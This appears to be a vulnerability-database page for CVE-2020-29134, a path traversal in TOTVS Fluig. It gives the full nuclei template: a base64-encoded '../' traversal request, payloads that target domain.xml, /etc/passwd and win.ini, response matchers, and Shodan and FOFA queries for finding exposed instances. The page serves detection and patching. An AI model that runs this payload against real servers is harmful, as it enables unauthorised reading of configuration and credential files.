TOTVS Fluig <= 1.7.0 - Arbitrary File Read

highseverity

8.6CVSS score

27.8%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

TOTVS Fluig platform contains a path traversal caused by base64-encoded manipulation of the 'file' parameter, letting attackers access arbitrary files, exploit requires attacker to control the 'file' parameter.

Impact

Attackers can access arbitrary files on the server, potentially leading to information disclosure or system compromise.

Fix

Update to the latest version of Fluig or apply security patches addressing this issue.

How to confirm it

Send: GET {{BaseURL}}/volume/stream/Rmx1aWc=/{{base64('?t=1&vol=Default&id=' + id + '&ver=1000&file=../../../../../../../../../../../../..' + path)}}
Positive when: status 200 AND contains "xmlns=\"urn:jboss:domain" or "<server-identities>" or "<security-realm" or "<datasources>"

Run it with nuclei: nuclei -id CVE-2020-29134 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-29134

info:
  name: TOTVS Fluig <= 1.7.0 - Arbitrary File Read
  author: ls4ss
  severity: high
  description: |
    TOTVS Fluig platform contains a path traversal caused by base64-encoded manipulation of the 'file' parameter, letting attackers access arbitrary files, exploit requires attacker to control the 'file' parameter.
  impact: |
    Attackers can access arbitrary files on the server, potentially leading to information disclosure or system compromise.
  remediation: |
    Update to the latest version of Fluig or apply security patches addressing this issue.
  reference:
    - https://www.exploit-db.com/exploits/49622
    - https://github.com/Ls4ss/CVE-2020-29134
    - https://nvd.nist.gov/vuln/detail/CVE-2020-29134
    - https://detecti.com.br/blog/post.html?slug=TOTVS-FLuig-Platform-CVE-2020-29134
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2020-29134
    epss-score: 0.27844
    epss-percentile: 0.9811
    cwe-id: CWE-22
  metadata:
    max-request: 50
    vendor: totvs
    product: fluig
    shodan-query: http.title:"Fluig"
    fofa-query: title="Fluig"
  tags: cve,cve2020,totvs,fluig,lfi,file-read,edb

http:
  - method: GET
    path:
      - "{{BaseURL}}/volume/stream/Rmx1aWc=/{{base64('?t=1&vol=Default&id=' + id + '&ver=1000&file=../../../../../../../../../../../../..' + path)}}"

    payloads:
      id:
        - "1"
        - "2"
        - "3"
        - "4"
        - "5"
        - "6"
        - "7"
        - "8"
        - "9"
        - "10"

      path:
        - "/fluig/appserver/domain/configuration/domain.xml"
        - "/opt/fluig/appserver/domain/configuration/domain.xml"
        - "/etc/passwd"
        - "/windows/win.ini"
        - "/users/public/desktop/desktop.ini"

    attack: clusterbomb
    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - 'xmlns="urn:jboss:domain'
          - '<server-identities>'
          - '<security-realm'
          - '<datasources>'
          - '<connection-url>'
          - 'root:x:0:0:'
          - 'root:*:0:0:'
          - 'for 16-bit app support'
          - '[fonts]'
          - '[extensions]'
          - '[.ShellClassInfo]'
        condition: or

References

Use this check only on systems you are authorised to test. Where the data comes from